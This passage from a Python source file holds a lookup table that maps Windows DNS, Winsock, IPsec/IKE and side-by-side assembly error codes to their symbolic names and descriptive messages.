"DNS_ERROR_DP_DOES_NOT_EXIST", "message": "The specified directory partition does not exist.", }, 0x000026AE: { "code": "DNS_ERROR_DP_ALREADY_EXISTS", "message": "The specified directory partition already exists.", }, 0x000026AF: { "code": "DNS_ERROR_DP_NOT_ENLISTED", "message": ( "This DNS server is not enlisted in the specified directory partition." ), }, 0x000026B0: { "code": "DNS_ERROR_DP_ALREADY_ENLISTED", "message": ( "This DNS server is already enlisted in the specified directory partition." ), }, 0x000026B1: { "code": "DNS_ERROR_DP_NOT_AVAILABLE", "message": ( "The directory partition is not available at this time. Wait a few minutes" " and try again." ), }, 0x000026B2: { "code": "DNS_ERROR_DP_FSMO_ERROR", "message": ( "The application directory partition operation failed. The domain" " controller holding the domain naming master role is down or unable to" " service the request or is not running Windows Server 2003." ), }, 0x00002714: { "code": "WSAEINTR", "message": ( "A blocking operation was interrupted by a call to WSACancelBlockingCall." ), }, 0x00002719: { "code": "WSAEBADF", "message": "The file handle supplied is not valid.", }, 0x0000271D: { "code": "WSAEACCES", "message": ( "An attempt was made to access a socket in a way forbidden by its access" " permissions." ), }, 0x0000271E: { "code": "WSAEFAULT", "message": ( "The system detected an invalid pointer address in attempting to use a" " pointer argument in a call." ), }, 0x00002726: {"code": "WSAEINVAL", "message": "An invalid argument was supplied."}, 0x00002728: {"code": "WSAEMFILE", "message": "Too many open sockets."}, 0x00002733: { "code": "WSAEWOULDBLOCK", "message": "A nonblocking socket operation could not be completed immediately.", }, 0x00002734: { "code": "WSAEINPROGRESS", "message": "A blocking operation is currently executing.", }, 0x00002735: { "code": "WSAEALREADY", "message": ( "An operation was attempted on a nonblocking socket that already had an" " operation in progress." ), }, 0x00002736: { "code": "WSAENOTSOCK", "message": "An operation was attempted on something that is not a socket.", }, 0x00002737: { "code": "WSAEDESTADDRREQ", "message": "A required address was omitted from an operation on a socket.", }, 0x00002738: { "code": "WSAEMSGSIZE", "message": ( "A message sent on a datagram socket was larger than the internal message" " buffer or some other network limit, or the buffer used to receive a" " datagram into was smaller than the datagram itself." ), }, 0x00002739: { "code": "WSAEPROTOTYPE", "message": ( "A protocol was specified in the socket function call that does not support" " the semantics of the socket type requested." ), }, 0x0000273A: { "code": "WSAENOPROTOOPT", "message": ( "An unknown, invalid, or unsupported option or level was specified in a" " getsockopt or setsockopt call." ), }, 0x0000273B: { "code": "WSAEPROTONOSUPPORT", "message": ( "The requested protocol has not been configured into the system, or no" " implementation for it exists." ), }, 0x0000273C: { "code": "WSAESOCKTNOSUPPORT", "message": ( "The support for the specified socket type does not exist in this address" " family." ), }, 0x0000273D: { "code": "WSAEOPNOTSUPP", "message": ( "The attempted operation is not supported for the type of object" " referenced." ), }, 0x0000273E: { "code": "WSAEPFNOSUPPORT", "message": ( "The protocol family has not been configured into the system or no" " implementation for it exists." ), }, 0x0000273F: { "code": "WSAEAFNOSUPPORT", "message": "An address incompatible with the requested protocol was used.", }, 0x00002740: { "code": "WSAEADDRINUSE", "message": ( "Only one usage of each socket address (protocol/network address/port) is" " normally permitted." ), }, 0x00002741: { "code": "WSAEADDRNOTAVAIL", "message": "The requested address is not valid in its context.", }, 0x00002742: { "code": "WSAENETDOWN", "message": "A socket operation encountered a dead network.", }, 0x00002743: { "code": "WSAENETUNREACH", "message": "A socket operation was attempted to an unreachable network.", }, 0x00002744: { "code": "WSAENETRESET", "message": ( "The connection has been broken due to keep-alive activity detecting a" " failure while the operation was in progress." ), }, 0x00002745: { "code": "WSAECONNABORTED", "message": ( "An established connection was aborted by the software in your host" " machine." ), }, 0x00002746: { "code": "WSAECONNRESET", "message": "An existing connection was forcibly closed by the remote host.", }, 0x00002747: { "code": "WSAENOBUFS", "message": ( "An operation on a socket could not be performed because the system lacked" " sufficient buffer space or because a queue was full." ), }, 0x00002748: { "code": "WSAEISCONN", "message": "A connect request was made on an already connected socket.", }, 0x00002749: { "code": "WSAENOTCONN", "message": ( "A request to send or receive data was disallowed because the socket is not" " connected and (when sending on a datagram socket using a sendto call) no" " address was supplied." ), }, 0x0000274A: { "code": "WSAESHUTDOWN", "message": ( "A request to send or receive data was disallowed because the socket had" " already been shut down in that direction with a previous shutdown call." ), }, 0x0000274B: { "code": "WSAETOOMANYREFS", "message": "Too many references to a kernel object.", }, 0x0000274C: { "code": "WSAETIMEDOUT", "message": ( "A connection attempt failed because the connected party did not properly" " respond after a period of time, or the established connection failed" " because the connected host failed to respond." ), }, 0x0000274D: { "code": "WSAECONNREFUSED", "message": ( "No connection could be made because the target machine actively" " refused it." ), }, 0x0000274E: {"code": "WSAELOOP", "message": "Cannot translate name."}, 0x0000274F: { "code": "WSAENAMETOOLONG", "message": "Name or name component was too long.", }, 0x00002750: { "code": "WSAEHOSTDOWN", "message": "A socket operation failed because the destination host was down.", }, 0x00002751: { "code": "WSAEHOSTUNREACH", "message": "A socket operation was attempted to an unreachable host.", }, 0x00002752: { "code": "WSAENOTEMPTY", "message": "Cannot remove a directory that is not empty.", }, 0x00002753: { "code": "WSAEPROCLIM", "message": ( "A Windows Sockets implementation might have a limit on the number of" " applications that can use it simultaneously." ), }, 0x00002754: {"code": "WSAEUSERS", "message": "Ran out of quota."}, 0x00002755: {"code": "WSAEDQUOT", "message": "Ran out of disk quota."}, 0x00002756: { "code": "WSAESTALE", "message": "File handle reference is no longer available.", }, 0x00002757: {"code": "WSAEREMOTE", "message": "Item is not available locally."}, 0x0000276B: { "code": "WSASYSNOTREADY", "message": ( "WSAStartup cannot function at this time because the underlying system it" " uses to provide network services is currently unavailable." ), }, 0x0000276C: { "code": "WSAVERNOTSUPPORTED", "message": "The Windows Sockets version requested is not supported.", }, 0x0000276D: { "code": "WSANOTINITIALISED", "message": ( "Either the application has not called WSAStartup, or WSAStartup failed." ), }, 0x00002775: { "code": "WSAEDISCON", "message": ( "Returned by WSARecv or WSARecvFrom to indicate that the remote party has" " initiated a graceful shutdown sequence." ), }, 0x00002776: { "code": "WSAENOMORE", "message": "No more results can be returned by WSALookupServiceNext.", }, 0x00002777: { "code": "WSAECANCELLED", "message": ( "A call to WSALookupServiceEnd was made while this call was still" " processing. The call has been canceled." ), }, 0x00002778: { "code": "WSAEINVALIDPROCTABLE", "message": "The procedure call table is invalid.", }, 0x00002779: { "code": "WSAEINVALIDPROVIDER", "message": "The requested service provider is invalid.", }, 0x0000277A: { "code": "WSAEPROVIDERFAILEDINIT", "message": "The requested service provider could not be loaded or initialized.", }, 0x0000277B: { "code": "WSASYSCALLFAILURE", "message": "A system call that should never fail has failed.", }, 0x0000277C: { "code": "WSASERVICE_NOT_FOUND", "message": ( "No such service is known. The service cannot be found in the specified" " namespace." ), }, 0x0000277D: { "code": "WSATYPE_NOT_FOUND", "message": "The specified class was not found.", }, 0x0000277E: { "code": "WSA_E_NO_MORE", "message": "No more results can be returned by WSALookupServiceNext.", }, 0x0000277F: { "code": "WSA_E_CANCELLED", "message": ( "A call to WSALookupServiceEnd was made while this call was still" " processing. The call has been canceled." ), }, 0x00002780: { "code": "WSAEREFUSED", "message": "A database query failed because it was actively refused.", }, 0x00002AF9: {"code": "WSAHOST_NOT_FOUND", "message": "No such host is known."}, 0x00002AFA: { "code": "WSATRY_AGAIN", "message": ( "This is usually a temporary error during host name resolution and means" " that the local server did not receive a response from an authoritative" " server." ), }, 0x00002AFB: { "code": "WSANO_RECOVERY", "message": "A nonrecoverable error occurred during a database lookup.", }, 0x00002AFC: { "code": "WSANO_DATA", "message": ( "The requested name is valid, but no data of the requested type was found." ), }, 0x00002AFD: { "code": "WSA_QOS_RECEIVERS", "message": "At least one reserve has arrived.", }, 0x00002AFE: { "code": "WSA_QOS_SENDERS", "message": "At least one path has arrived.", }, 0x00002AFF: {"code": "WSA_QOS_NO_SENDERS", "message": "There are no senders."}, 0x00002B00: {"code": "WSA_QOS_NO_RECEIVERS", "message": "There are no receivers."}, 0x00002B01: { "code": "WSA_QOS_REQUEST_CONFIRMED", "message": "Reserve has been confirmed.", }, 0x00002B02: { "code": "WSA_QOS_ADMISSION_FAILURE", "message": "Error due to lack of resources.", }, 0x00002B03: { "code": "WSA_QOS_POLICY_FAILURE", "message": "Rejected for administrative reasons—bad credentials.", }, 0x00002B04: { "code": "WSA_QOS_BAD_STYLE", "message": "Unknown or conflicting style.", }, 0x00002B05: { "code": "WSA_QOS_BAD_OBJECT", "message": ( "There is a problem with some part of the filterspec or provider-specific" " buffer in general." ), }, 0x00002B06: { "code": "WSA_QOS_TRAFFIC_CTRL_ERROR", "message": "There is a problem with some part of the flowspec.", }, 0x00002B07: { "code": "WSA_QOS_GENERIC_ERROR", "message": "General quality of serve (QOS) error.", }, 0x00002B08: { "code": "WSA_QOS_ESERVICETYPE", "message": "An invalid or unrecognized service type was found in the flowspec.", }, 0x00002B09: { "code": "WSA_QOS_EFLOWSPEC", "message": ( "An invalid or inconsistent flowspec was found in the QOS structure." ), }, 0x00002B0A: { "code": "WSA_QOS_EPROVSPECBUF", "message": "Invalid QOS provider-specific buffer.", }, 0x00002B0B: { "code": "WSA_QOS_EFILTERSTYLE", "message": "An invalid QOS filter style was used.", }, 0x00002B0C: { "code": "WSA_QOS_EFILTERTYPE", "message": "An invalid QOS filter type was used.", }, 0x00002B0D: { "code": "WSA_QOS_EFILTERCOUNT", "message": ( "An incorrect number of QOS FILTERSPECs were specified in the" " FLOWDESCRIPTOR." ), }, 0x00002B0E: { "code": "WSA_QOS_EOBJLENGTH", "message": ( "An object with an invalid ObjectLength field was specified in the QOS" " provider-specific buffer." ), }, 0x00002B0F: { "code": "WSA_QOS_EFLOWCOUNT", "message": ( "An incorrect number of flow descriptors was specified in the QOS" " structure." ), }, 0x00002B10: { "code": "WSA_QOS_EUNKOWNPSOBJ", "message": ( "An unrecognized object was found in the QOS provider-specific buffer." ), }, 0x00002B11: { "code": "WSA_QOS_EPOLICYOBJ", "message": ( "An invalid policy object was found in the QOS provider-specific buffer." ), }, 0x00002B12: { "code": "WSA_QOS_EFLOWDESC", "message": ( "An invalid QOS flow descriptor was found in the flow descriptor list." ), }, 0x00002B13: { "code": "WSA_QOS_EPSFLOWSPEC", "message": ( "An invalid or inconsistent flowspec was found in the QOS provider-specific" " buffer." ), }, 0x00002B14: { "code": "WSA_QOS_EPSFILTERSPEC", "message": ( "An invalid FILTERSPEC was found in the QOS provider-specific buffer." ), }, 0x00002B15: { "code": "WSA_QOS_ESDMODEOBJ", "message": ( "An invalid shape discard mode object was found in the QOS" " provider-specific buffer." ), }, 0x00002B16: { "code": "WSA_QOS_ESHAPERATEOBJ", "message": ( "An invalid shaping rate object was found in the QOS provider-specific" " buffer." ), }, 0x00002B17: { "code": "WSA_QOS_RESERVED_PETYPE", "message": ( "A reserved policy element was found in the QOS provider-specific buffer." ), }, 0x000032C8: { "code": "ERROR_IPSEC_QM_POLICY_EXISTS", "message": "The specified quick mode policy already exists.", }, 0x000032C9: { "code": "ERROR_IPSEC_QM_POLICY_NOT_FOUND", "message": "The specified quick mode policy was not found.", }, 0x000032CA: { "code": "ERROR_IPSEC_QM_POLICY_IN_USE", "message": "The specified quick mode policy is being used.", }, 0x000032CB: { "code": "ERROR_IPSEC_MM_POLICY_EXISTS", "message": "The specified main mode policy already exists.", }, 0x000032CC: { "code": "ERROR_IPSEC_MM_POLICY_NOT_FOUND", "message": "The specified main mode policy was not found.", }, 0x000032CD: { "code": "ERROR_IPSEC_MM_POLICY_IN_USE", "message": "The specified main mode policy is being used.", }, 0x000032CE: { "code": "ERROR_IPSEC_MM_FILTER_EXISTS", "message": "The specified main mode filter already exists.", }, 0x000032CF: { "code": "ERROR_IPSEC_MM_FILTER_NOT_FOUND", "message": "The specified main mode filter was not found.", }, 0x000032D0: { "code": "ERROR_IPSEC_TRANSPORT_FILTER_EXISTS", "message": "The specified transport mode filter already exists.", }, 0x000032D1: { "code": "ERROR_IPSEC_TRANSPORT_FILTER_NOT_FOUND", "message": "The specified transport mode filter does not exist.", }, 0x000032D2: { "code": "ERROR_IPSEC_MM_AUTH_EXISTS", "message": "The specified main mode authentication list exists.", }, 0x000032D3: { "code": "ERROR_IPSEC_MM_AUTH_NOT_FOUND", "message": "The specified main mode authentication list was not found.", }, 0x000032D4: { "code": "ERROR_IPSEC_MM_AUTH_IN_USE", "message": "The specified main mode authentication list is being used.", }, 0x000032D5: { "code": "ERROR_IPSEC_DEFAULT_MM_POLICY_NOT_FOUND", "message": "The specified default main mode policy was not found.", }, 0x000032D6: { "code": "ERROR_IPSEC_DEFAULT_MM_AUTH_NOT_FOUND", "message": "The specified default main mode authentication list was not found.", }, 0x000032D7: { "code": "ERROR_IPSEC_DEFAULT_QM_POLICY_NOT_FOUND", "message": "The specified default quick mode policy was not found.", }, 0x000032D8: { "code": "ERROR_IPSEC_TUNNEL_FILTER_EXISTS", "message": "The specified tunnel mode filter exists.", }, 0x000032D9: { "code": "ERROR_IPSEC_TUNNEL_FILTER_NOT_FOUND", "message": "The specified tunnel mode filter was not found.", }, 0x000032DA: { "code": "ERROR_IPSEC_MM_FILTER_PENDING_DELETION", "message": "The main mode filter is pending deletion.", }, 0x000032DB: { "code": "ERROR_IPSEC_TRANSPORT_FILTER_ENDING_DELETION", "message": "The transport filter is pending deletion.", }, 0x000032DC: { "code": "ERROR_IPSEC_TUNNEL_FILTER_PENDING_DELETION", "message": "The tunnel filter is pending deletion.", }, 0x000032DD: { "code": "ERROR_IPSEC_MM_POLICY_PENDING_ELETION", "message": "The main mode policy is pending deletion.", }, 0x000032DE: { "code": "ERROR_IPSEC_MM_AUTH_PENDING_DELETION", "message": "The main mode authentication bundle is pending deletion.", }, 0x000032DF: { "code": "ERROR_IPSEC_QM_POLICY_PENDING_DELETION", "message": "The quick mode policy is pending deletion.", }, 0x000032E0: { "code": "WARNING_IPSEC_MM_POLICY_PRUNED", "message": ( "The main mode policy was successfully added, but some of the requested" " offers are not supported." ), }, 0x000032E1: { "code": "WARNING_IPSEC_QM_POLICY_PRUNED", "message": ( "The quick mode policy was successfully added, but some of the requested" " offers are not supported." ), }, 0x000035E8: { "code": "ERROR_IPSEC_IKE_NEG_STATUS_BEGIN", "message": ( "Starts the list of frequencies of various IKE Win32 error codes" " encountered during negotiations." ), }, 0x000035E9: { "code": "ERROR_IPSEC_IKE_AUTH_FAIL", "message": "The IKE authentication credentials are unacceptable.", }, 0x000035EA: { "code": "ERROR_IPSEC_IKE_ATTRIB_FAIL", "message": "The IKE security attributes are unacceptable.", }, 0x000035EB: { "code": "ERROR_IPSEC_IKE_NEGOTIATION_PENDING", "message": "The IKE negotiation is in progress.", }, 0x000035EC: { "code": "ERROR_IPSEC_IKE_GENERAL_PROCESSING_ERROR", "message": "General processing error.", }, 0x000035ED: { "code": "ERROR_IPSEC_IKE_TIMED_OUT", "message": "Negotiation timed out.", }, 0x000035EE: { "code": "ERROR_IPSEC_IKE_NO_CERT", "message": ( "The IKE failed to find a valid machine certificate. Contact your network" " security administrator about installing a valid certificate in the" " appropriate certificate store." ), }, 0x000035EF: { "code": "ERROR_IPSEC_IKE_SA_DELETED", "message": ( "The IKE security association (SA) was deleted by a peer before it was" " completely established." ), }, 0x000035F0: { "code": "ERROR_IPSEC_IKE_SA_REAPED", "message": "The IKE SA was deleted before it was completely established.", }, 0x000035F1: { "code": "ERROR_IPSEC_IKE_MM_ACQUIRE_DROP", "message": "The negotiation request sat in the queue too long.", }, 0x000035F2: { "code": "ERROR_IPSEC_IKE_QM_ACQUIRE_DROP", "message": "The negotiation request sat in the queue too long.", }, 0x000035F3: { "code": "ERROR_IPSEC_IKE_QUEUE_DROP_MM", "message": "The negotiation request sat in the queue too long.", }, 0x000035F4: { "code": "ERROR_IPSEC_IKE_QUEUE_DROP_NO_MM", "message": "The negotiation request sat in the queue too long.", }, 0x000035F5: { "code": "ERROR_IPSEC_IKE_DROP_NO_RESPONSE", "message": "There was no response from a peer.", }, 0x000035F6: { "code": "ERROR_IPSEC_IKE_MM_DELAY_DROP", "message": "The negotiation took too long.", }, 0x000035F7: { "code": "ERROR_IPSEC_IKE_QM_DELAY_DROP", "message": "The negotiation took too long.", }, 0x000035F8: { "code": "ERROR_IPSEC_IKE_ERROR", "message": "An unknown error occurred.", }, 0x000035F9: { "code": "ERROR_IPSEC_IKE_CRL_FAILED", "message": "The certificate revocation check failed.", }, 0x000035FA: { "code": "ERROR_IPSEC_IKE_INVALID_KEY_USAGE", "message": "Invalid certificate key usage.", }, 0x000035FB: { "code": "ERROR_IPSEC_IKE_INVALID_CERT_TYPE", "message": "Invalid certificate type.", }, 0x000035FC: { "code": "ERROR_IPSEC_IKE_NO_PRIVATE_KEY", "message": ( "The IKE negotiation failed because the machine certificate used does not" " have a private key. IPsec certificates require a private key. Contact" " your network security administrator about a certificate that has a" " private key." ), }, 0x000035FE: { "code": "ERROR_IPSEC_IKE_DH_FAIL", "message": "There was a failure in the Diffie-Hellman computation.", }, 0x00003600: { "code": "ERROR_IPSEC_IKE_INVALID_HEADER", "message": "Invalid header.", }, 0x00003601: { "code": "ERROR_IPSEC_IKE_NO_POLICY", "message": "No policy configured.", }, 0x00003602: { "code": "ERROR_IPSEC_IKE_INVALID_SIGNATURE", "message": "Failed to verify signature.", }, 0x00003603: { "code": "ERROR_IPSEC_IKE_KERBEROS_ERROR", "message": "Failed to authenticate using Kerberos.", }, 0x00003604: { "code": "ERROR_IPSEC_IKE_NO_PUBLIC_KEY", "message": "The peer's certificate did not have a public key.", }, 0x00003605: { "code": "ERROR_IPSEC_IKE_PROCESS_ERR", "message": "Error processing the error payload.", }, 0x00003606: { "code": "ERROR_IPSEC_IKE_PROCESS_ERR_SA", "message": "Error processing the SA payload.", }, 0x00003607: { "code": "ERROR_IPSEC_IKE_PROCESS_ERR_PROP", "message": "Error processing the proposal payload.", }, 0x00003608: { "code": "ERROR_IPSEC_IKE_PROCESS_ERR_TRANS", "message": "Error processing the transform payload.", }, 0x00003609: { "code": "ERROR_IPSEC_IKE_PROCESS_ERR_KE", "message": "Error processing the key exchange payload.", }, 0x0000360A: { "code": "ERROR_IPSEC_IKE_PROCESS_ERR_ID", "message": "Error processing the ID payload.", }, 0x0000360B: { "code": "ERROR_IPSEC_IKE_PROCESS_ERR_CERT", "message": "Error processing the certification payload.", }, 0x0000360C: { "code": "ERROR_IPSEC_IKE_PROCESS_ERR_CERT_REQ", "message": "Error processing the certificate request payload.", }, 0x0000360D: { "code": "ERROR_IPSEC_IKE_PROCESS_ERR_HASH", "message": "Error processing the hash payload.", }, 0x0000360E: { "code": "ERROR_IPSEC_IKE_PROCESS_ERR_SIG", "message": "Error processing the signature payload.", }, 0x0000360F: { "code": "ERROR_IPSEC_IKE_PROCESS_ERR_NONCE", "message": "Error processing the nonce payload.", }, 0x00003610: { "code": "ERROR_IPSEC_IKE_PROCESS_ERR_NOTIFY", "message": "Error processing the notify payload.", }, 0x00003611: { "code": "ERROR_IPSEC_IKE_PROCESS_ERR_DELETE", "message": "Error processing the delete payload.", }, 0x00003612: { "code": "ERROR_IPSEC_IKE_PROCESS_ERR_VENDOR", "message": "Error processing the VendorId payload.", }, 0x00003613: { "code": "ERROR_IPSEC_IKE_INVALID_PAYLOAD", "message": "Invalid payload received.", }, 0x00003614: {"code": "ERROR_IPSEC_IKE_LOAD_SOFT_SA", "message": "Soft SA loaded."}, 0x00003615: { "code": "ERROR_IPSEC_IKE_SOFT_SA_TORN_DOWN", "message": "Soft SA torn down.", }, 0x00003616: { "code": "ERROR_IPSEC_IKE_INVALID_COOKIE", "message": "Invalid cookie received.", }, 0x00003617: { "code": "ERROR_IPSEC_IKE_NO_PEER_CERT", "message": "Peer failed to send valid machine certificate.", }, 0x00003618: { "code": "ERROR_IPSEC_IKE_PEER_CRL_FAILED", "message": "Certification revocation check of peer's certificate failed.", }, 0x00003619: { "code": "ERROR_IPSEC_IKE_POLICY_CHANGE", "message": "New policy invalidated SAs formed with the old policy.", }, 0x0000361A: { "code": "ERROR_IPSEC_IKE_NO_MM_POLICY", "message": "There is no available main mode IKE policy.", }, 0x0000361B: { "code": "ERROR_IPSEC_IKE_NOTCBPRIV", "message": "Failed to enabled trusted computer base (TCB) privilege.", }, 0x0000361C: { "code": "ERROR_IPSEC_IKE_SECLOADFAIL", "message": "Failed to load SECURITY.DLL.", }, 0x0000361D: { "code": "ERROR_IPSEC_IKE_FAILSSPINIT", "message": ( "Failed to obtain the security function table dispatch address from the" " SSPI." ), }, 0x0000361E: { "code": "ERROR_IPSEC_IKE_FAILQUERYSSP", "message": "Failed to query the Kerberos package to obtain the max token size.", }, 0x0000361F: { "code": "ERROR_IPSEC_IKE_SRVACQFAIL", "message": ( "Failed to obtain the Kerberos server credentials for the Internet Security" " Association and Key Management Protocol (ISAKMP)/ERROR_IPSEC_IKE service." " Kerberos authentication will not function. The most likely reason for" " this is lack of domain membership. This is normal if your computer is a" " member of a workgroup." ), }, 0x00003620: { "code": "ERROR_IPSEC_IKE_SRVQUERYCRED", "message": ( "Failed to determine the SSPI principal name for ISAKMP/ERROR_IPSEC_IKE" " service (QueryCredentialsAttributes)." ), }, 0x00003621: { "code": "ERROR_IPSEC_IKE_GETSPIFAIL", "message": ( "Failed to obtain a new service provider interface (SPI) for the inbound SA" " from the IPsec driver. The most common cause for this is that the driver" " does not have the correct filter. Check your policy to verify the" " filters." ), }, 0x00003622: { "code": "ERROR_IPSEC_IKE_INVALID_FILTER", "message": "Given filter is invalid.", }, 0x00003623: { "code": "ERROR_IPSEC_IKE_OUT_OF_MEMORY", "message": "Memory allocation failed.", }, 0x00003624: { "code": "ERROR_IPSEC_IKE_ADD_UPDATE_KEY_FAILED", "message": ( "Failed to add an SA to the IPSec driver. The most common cause for this is" " if the IKE negotiation took too long to complete. If the problem" " persists, reduce the load on the faulting machine." ), }, 0x00003625: { "code": "ERROR_IPSEC_IKE_INVALID_POLICY", "message": "Invalid policy.", }, 0x00003626: { "code": "ERROR_IPSEC_IKE_UNKNOWN_DOI", "message": "Invalid digital object identifier (DOI).", }, 0x00003627: { "code": "ERROR_IPSEC_IKE_INVALID_SITUATION", "message": "Invalid situation.", }, 0x00003628: { "code": "ERROR_IPSEC_IKE_DH_FAILURE", "message": "Diffie-Hellman failure.", }, 0x00003629: { "code": "ERROR_IPSEC_IKE_INVALID_GROUP", "message": "Invalid Diffie-Hellman group.", }, 0x0000362A: { "code": "ERROR_IPSEC_IKE_ENCRYPT", "message": "Error encrypting payload.", }, 0x0000362B: { "code": "ERROR_IPSEC_IKE_DECRYPT", "message": "Error decrypting payload.", }, 0x0000362C: { "code": "ERROR_IPSEC_IKE_POLICY_MATCH", "message": "Policy match error.", }, 0x0000362D: { "code": "ERROR_IPSEC_IKE_UNSUPPORTED_ID", "message": "Unsupported ID.", }, 0x0000362E: { "code": "ERROR_IPSEC_IKE_INVALID_HASH", "message": "Hash verification failed.", }, 0x0000362F: { "code": "ERROR_IPSEC_IKE_INVALID_HASH_ALG", "message": "Invalid hash algorithm.", }, 0x00003630: { "code": "ERROR_IPSEC_IKE_INVALID_HASH_SIZE", "message": "Invalid hash size.", }, 0x00003631: { "code": "ERROR_IPSEC_IKE_INVALID_ENCRYPT_ALG", "message": "Invalid encryption algorithm.", }, 0x00003632: { "code": "ERROR_IPSEC_IKE_INVALID_AUTH_ALG", "message": "Invalid authentication algorithm.", }, 0x00003633: { "code": "ERROR_IPSEC_IKE_INVALID_SIG", "message": "Invalid certificate signature.", }, 0x00003634: {"code": "ERROR_IPSEC_IKE_LOAD_FAILED", "message": "Load failed."}, 0x00003635: { "code": "ERROR_IPSEC_IKE_RPC_DELETE", "message": "Deleted by using an RPC call.", }, 0x00003636: { "code": "ERROR_IPSEC_IKE_BENIGN_REINIT", "message": ( "A temporary state was created to perform reinitialization. This is not a" " real failure." ), }, 0x00003637: { "code": "ERROR_IPSEC_IKE_INVALID_RESPONDER_LIFETIME_NOTIFY", "message": ( "The lifetime value received in the Responder Lifetime Notify is below the" " Windows 2000 configured minimum value. Fix the policy on the peer" " machine." ), }, 0x00003639: { "code": "ERROR_IPSEC_IKE_INVALID_CERT_KEYLEN", "message": ( "Key length in the certificate is too small for configured security" " requirements." ), }, 0x0000363A: { "code": "ERROR_IPSEC_IKE_MM_LIMIT", "message": "Maximum number of established MM SAs to peer exceeded.", }, 0x0000363B: { "code": "ERROR_IPSEC_IKE_NEGOTIATION_DISABLED", "message": "The IKE received a policy that disables negotiation.", }, 0x0000363C: { "code": "ERROR_IPSEC_IKE_QM_LIMIT", "message": ( "Reached maximum quick mode limit for the main mode. New main mode will be" " started." ), }, 0x0000363D: { "code": "ERROR_IPSEC_IKE_MM_EXPIRED", "message": "Main mode SA lifetime expired or the peer sent a main mode delete.", }, 0x0000363E: { "code": "ERROR_IPSEC_IKE_PEER_MM_ASSUMED_INVALID", "message": ( "Main mode SA assumed to be invalid because peer stopped responding." ), }, 0x0000363F: { "code": "ERROR_IPSEC_IKE_CERT_CHAIN_POLICY_MISMATCH", "message": "Certificate does not chain to a trusted root in IPsec policy.", }, 0x00003640: { "code": "ERROR_IPSEC_IKE_UNEXPECTED_MESSAGE_ID", "message": "Received unexpected message ID.", }, 0x00003641: { "code": "ERROR_IPSEC_IKE_INVALID_UMATTS", "message": "Received invalid AuthIP user mode attributes.", }, 0x00003642: { "code": "ERROR_IPSEC_IKE_DOS_COOKIE_SENT", "message": "Sent DOS cookie notify to initiator.", }, 0x00003643: { "code": "ERROR_IPSEC_IKE_SHUTTING_DOWN", "message": "The IKE service is shutting down.", }, 0x00003644: { "code": "ERROR_IPSEC_IKE_CGA_AUTH_FAILED", "message": ( "Could not verify the binding between the color graphics adapter (CGA)" " address and the certificate." ), }, 0x00003645: { "code": "ERROR_IPSEC_IKE_PROCESS_ERR_NATOA", "message": "Error processing the NatOA payload.", }, 0x00003646: { "code": "ERROR_IPSEC_IKE_INVALID_MM_FOR_QM", "message": "The parameters of the main mode are invalid for this quick mode.", }, 0x00003647: { "code": "ERROR_IPSEC_IKE_QM_EXPIRED", "message": "The quick mode SA was expired by the IPsec driver.", }, 0x00003648: { "code": "ERROR_IPSEC_IKE_TOO_MANY_FILTERS", "message": "Too many dynamically added IKEEXT filters were detected.", }, 0x00003649: { "code": "ERROR_IPSEC_IKE_NEG_STATUS_END", "message": ( "Ends the list of frequencies of various IKE Win32 error codes encountered" " during negotiations." ), }, 0x000036B0: { "code": "ERROR_SXS_SECTION_NOT_FOUND", "message": "The requested section was not present in the activation context.", }, 0x000036B1: { "code": "ERROR_SXS_CANT_GEN_ACTCTX", "message": ( "The application has failed to start because its side-by-side configuration" " is incorrect. See the application event log for more detail." ), }, 0x000036B2: { "code": "ERROR_SXS_INVALID_ACTCTXDATA_FORMAT", "message": "The application binding data format is invalid.", }, 0x000036B3: { "code": "ERROR_SXS_ASSEMBLY_NOT_FOUND", "message": "The referenced assembly is not installed on your system.", }, 0x000036B4: { "code": "ERROR_SXS_MANIFEST_FORMAT_ERROR", "message": ( "The manifest file does not begin with the required tag and format" " information." ), }, 0x000036B5: { "code": "ERROR_SXS_MANIFEST_PARSE_ERROR", "message": "The manifest file contains one or more syntax errors.", }, 0x000036B6: { "code": "ERROR_SXS_ACTIVATION_CONTEXT_DISABLED", "message": ( "The application attempted to activate a disabled activation context." ), }, 0x000036B7: { "code": "ERROR_SXS_KEY_NOT_FOUND", "message": ( "The requested lookup key was not found in any active activation context." ), }, 0x000036B8: { "code": "ERROR_SXS_VERSION_CONFLICT", "message": ( "A component version required by the application conflicts with another" " active component version." ), }, 0x000036B9: { "code": "ERROR_SXS_WRONG_SECTION_TYPE", "message": ( "The type requested activation context section does not match the query API" " used." ), }, 0x000036BA: { "code": "ERROR_SXS_THREAD_QUERIES_DISABLED", "message": ( "Lack of system resources has required isolated activation to be disabled" " for the current thread of execution." ), }, 0x000036BB: { "code": "ERROR_SXS_PROCESS_DEFAULT_ALREADY_SET", "message": ( "An attempt to set the process default activation context failed because" " the process default activation context was already set." ), }, 0x000036BC: { "code": "ERROR_SXS_UNKNOWN_ENCODING_GROUP", "message": "The encoding group identifier specified is not recognized.", }, 0x000036BD: { "code": "ERROR_SXS_UNKNOWN_ENCODING", "message": "The encoding requested is not recognized.", }, 0x000036BE: { "code": "ERROR_SXS_INVALID_XML_NAMESPACE_URI", "message": "The manifest contains a reference to an invalid URI.", }, 0x000036BF: { "code": "ERROR_SXS_ROOT_MANIFEST_DEPENDENCY_OT_INSTALLED", "message": ( "The application manifest contains a reference to a dependent assembly that" " is not installed." ), }, 0x000036C0: { "code": "ERROR_SXS_LEAF_MANIFEST_DEPENDENCY_NOT_INSTALLED", "message": ( "The manifest for an assembly used by the application has a reference to a" " dependent assembly that is not installed." ), }, 0x000036C1: { "code": "ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE", "message": ( "The manifest contains an attribute for the assembly identity that is not" " valid." ), }, 0x000036C2: { "code": "ERROR_SXS_MANIFEST_MISSING_REQUIRED_DEFAULT_NAMESPACE", "message": ( "The manifest is missing the required default namespace specification on" " the assembly element." ), }, 0x000036C3: { "code": "ERROR_SXS_MANIFEST_INVALID_REQUIRED_DEFAULT_NAMESPACE", "message": ( "The manifest has a default namespace specified on the assembly element but" ' its value is not urn:schemas-microsoft-com:asm.v1"."' ), }, 0x000036C4: { "code": "ERROR_SXS_PRIVATE_MANIFEST_CROSS_PATH_WITH_REPARSE_POINT", "message": ( "The private manifest probed has crossed the reparse-point-associated path." ), }, 0x000036C5: { "code": "ERROR_SXS_DUPLICATE_DLL_NAME", "message": ( "Two or more components referenced directly or indirectly by the" " application manifest have files by the same name." ), }, 0x000036C6: { "code": "ERROR_SXS_DUPLICATE_WINDOWCLASS_NAME", "message": ( "Two or more components referenced directly or indirectly by the" " application manifest have window classes with the same name." ), }, 0x000036C7: { 